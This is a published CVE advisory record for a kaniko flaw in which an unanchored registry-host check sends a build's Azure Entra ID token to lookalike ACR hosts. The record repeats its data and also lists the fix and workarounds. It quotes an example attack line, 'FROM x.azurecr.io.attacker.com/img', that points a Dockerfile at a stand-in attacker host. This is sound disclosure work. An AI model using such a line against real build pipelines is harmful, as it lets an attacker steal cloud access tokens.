CVE-2026-105769 (GCVE-0-2026-105769)
Vulnerability from cvelistv5 – Published: 2026-11-02 16:49 – Updated: 2026-11-02 18:27
VLAI
EPSS
VEX
Title
kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
Summary
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Severity
9.3 (Critical)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-11-02 17:11 UTC
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/chainguard-forks/kaniko/securi… | vendor-advisory |
| https://github.com/chainguard-forks/kaniko/pull/495 | patch |
| https://github.com/chainguard-forks/kaniko/releas… | release-notes |
| https://github.com/chrismellard/docker-credential… | issue-tracking |
| https://pkg.go.dev/vuln/GO-2026-6225 | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| chainguard | kaniko |
Affected:
0 , < 1.25.20
(semver)
|
guessed |
Date Public
2026-11-02 16:32
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-105769",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-11-02T17:11:54.176517Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T17:12:09.068Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "github.com/chainguard-dev/kaniko",
"product": "kaniko",
"programFiles": [
"third_party/docker-credential-acr-env"
],
"repo": "https://github.com/chainguard-forks/kaniko",
"vendor": "chainguard",
"versions": [
{
"lessThan": "1.25.20",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Martin Zihlmann (mzihlmann) of osscontainertools"
},
{
"lang": "en",
"type": "remediation developer",
"value": "8none1"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "sergiodj"
}
],
"datePublic": "2026-11-02T16:32:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper \u003ccode\u003egithub.com/chrismellard/docker-credential-acr-env\u003c/code\u003e, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing \u003ccode\u003e.azurecr.io\u003c/code\u003e, \u003ccode\u003e.azurecr.cn\u003c/code\u003e, \u003ccode\u003e.azurecr.de\u003c/code\u003e or \u003ccode\u003e.azurecr.us\u003c/code\u003e is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as \u003ccode\u003eFROM x.azurecr.io.attacker.com/img\u003c/code\u003e or \u003ccode\u003eCOPY --from=\u0026lt;image\u0026gt;\u003c/code\u003e, causes the helper to obtain a token from the build\u0027s Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to \u003ccode\u003ehttps://\u0026lt;host\u0026gt;/oauth2/exchange\u003c/code\u003e. The attacker can use the token against Azure Resource Manager with the identity\u0027s role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No \u003ccode\u003eRUN\u003c/code\u003e instruction or push is required. This issue is fixed in 1.25.20."
}
],
"value": "kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=\u003cimage\u003e, causes the helper to obtain a token from the build\u0027s Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://\u003chost\u003e/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity\u0027s role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-346",
"description": "CWE-346: Origin Validation Error",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-522",
"description": "CWE-522: Insufficiently Protected Credentials",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T18:27:36.537Z",
"orgId": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"shortName": "chainguard"
},
"references": [
{
"name": "GHSA-5q7h-w9jf-cx97",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97"
},
{
"tags": [
"patch"
],
"url": "https://github.com/chainguard-forks/kaniko/pull/495"
},
{
"tags": [
"release-notes"
],
"url": "https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20"
},
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/chrismellard/docker-credential-acr-env/issues/21"
},
{
"name": "GO-2026-6225",
"tags": [
"third-party-advisory"
],
"url": "https://pkg.go.dev/vuln/GO-2026-6225"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eUpgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us.\u003c/p\u003e"
}
],
"value": "Upgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us."
}
],
"source": {
"advisory": "GHSA-5q7h-w9jf-cx97",
"discovery": "EXTERNAL"
},
"title": "kaniko can send the build\u0027s Azure (Entra ID) access token to lookalike ACR registry hosts",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eDo not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko\u0027s built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets \u0026quot;credsStore\u0026quot;: \u0026quot;acr-env\u0026quot;, replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager.\u003c/p\u003e"
}
],
"value": "Do not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko\u0027s built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets \"credsStore\": \"acr-env\", replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager."
}
],
"x_generator": {
"engine": "Vulnogram 1.0.5"
}
}
},
"cveMetadata": {
"assignerOrgId": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"assignerShortName": "chainguard",
"cveId": "CVE-2026-105769",
"datePublished": "2026-11-02T16:49:24.557Z",
"dateReserved": "2026-10-05T19:21:04.930Z",
"dateUpdated": "2026-11-02T18:27:36.537Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-105769",
"date": "2026-11-04",
"epss": "0.00196",
"percentile": "0.09463"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "github.com/chainguard-dev/kaniko",
"product": "kaniko",
"programFiles": [
"third_party/docker-credential-acr-env"
],
"repo": "https://github.com/chainguard-forks/kaniko",
"vendor": "chainguard",
"versions": [
{
"lessThan": "1.25.20",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"source": "82cea9a6-e9e3-46fe-bdb0-3673de380178"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=\u003cimage\u003e, causes the helper to obtain a token from the build\u0027s Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://\u003chost\u003e/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity\u0027s role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20."
}
],
"id": "CVE-2026-105769",
"lastModified": "2026-11-02T19:34:23.993",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.8,
"source": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-105769",
"options": [
{
"exploitation": "none"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-11-02T17:11:54.176517Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-11-02T17:17:32.670",
"references": [
{
"source": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"url": "https://github.com/chainguard-forks/kaniko/pull/495"
},
{
"source": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"url": "https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20"
},
{
"source": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"url": "https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97"
},
{
"source": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"url": "https://github.com/chrismellard/docker-credential-acr-env/issues/21"
},
{
"source": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"url": "https://pkg.go.dev/vuln/GO-2026-6225"
}
],
"sourceIdentifier": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-346"
},
{
"lang": "en",
"value": "CWE-522"
}
],
"source": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"type": "Secondary"
}
]
}
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-105769",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-11-02T17:11:54.176517Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T17:12:01.908Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "github.com/chainguard-dev/kaniko",
"product": "kaniko",
"programFiles": [
"third_party/docker-credential-acr-env"
],
"repo": "https://github.com/chainguard-forks/kaniko",
"vendor": "chainguard",
"versions": [
{
"lessThan": "1.25.20",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Martin Zihlmann (mzihlmann) of osscontainertools"
},
{
"lang": "en",
"type": "remediation developer",
"value": "8none1"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "sergiodj"
}
],
"datePublic": "2026-11-02T16:32:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper \u003ccode\u003egithub.com/chrismellard/docker-credential-acr-env\u003c/code\u003e, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing \u003ccode\u003e.azurecr.io\u003c/code\u003e, \u003ccode\u003e.azurecr.cn\u003c/code\u003e, \u003ccode\u003e.azurecr.de\u003c/code\u003e or \u003ccode\u003e.azurecr.us\u003c/code\u003e is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as \u003ccode\u003eFROM x.azurecr.io.attacker.com/img\u003c/code\u003e or \u003ccode\u003eCOPY --from=\u0026lt;image\u0026gt;\u003c/code\u003e, causes the helper to obtain a token from the build\u0027s Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to \u003ccode\u003ehttps://\u0026lt;host\u0026gt;/oauth2/exchange\u003c/code\u003e. The attacker can use the token against Azure Resource Manager with the identity\u0027s role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No \u003ccode\u003eRUN\u003c/code\u003e instruction or push is required. This issue is fixed in 1.25.20."
}
],
"value": "kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=\u003cimage\u003e, causes the helper to obtain a token from the build\u0027s Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://\u003chost\u003e/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity\u0027s role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-346",
"description": "CWE-346: Origin Validation Error",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-522",
"description": "CWE-522: Insufficiently Protected Credentials",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T18:27:36.537Z",
"orgId": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"shortName": "chainguard"
},
"references": [
{
"name": "GHSA-5q7h-w9jf-cx97",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97"
},
{
"tags": [
"patch"
],
"url": "https://github.com/chainguard-forks/kaniko/pull/495"
},
{
"tags": [
"release-notes"
],
"url": "https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20"
},
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/chrismellard/docker-credential-acr-env/issues/21"
},
{
"name": "GO-2026-6225",
"tags": [
"third-party-advisory"
],
"url": "https://pkg.go.dev/vuln/GO-2026-6225"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eUpgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us.\u003c/p\u003e"
}
],
"value": "Upgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us."
}
],
"source": {
"advisory": "GHSA-5q7h-w9jf-cx97",
"discovery": "EXTERNAL"
},
"title": "kaniko can send the build\u0027s Azure (Entra ID) access token to lookalike ACR registry hosts",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eDo not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko\u0027s built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets \u0026quot;credsStore\u0026quot;: \u0026quot;acr-env\u0026quot;, replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager.\u003c/p\u003e"
}
],
"value": "Do not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko\u0027s built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets \"credsStore\": \"acr-env\", replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager."
}
],
"x_generator": {
"engine": "Vulnogram 1.0.5"
}
}
},
"cveMetadata": {
"assignerOrgId": "82cea9a6-e9e3-46fe-bdb0-3673de380178",
"assignerShortName": "chainguard",
"cveId": "CVE-2026-105769",
"datePublished": "2026-11-02T16:49:24.557Z",
"dateReserved": "2026-10-05T19:21:04.930Z",
"dateUpdated": "2026-11-02T18:27:36.537Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.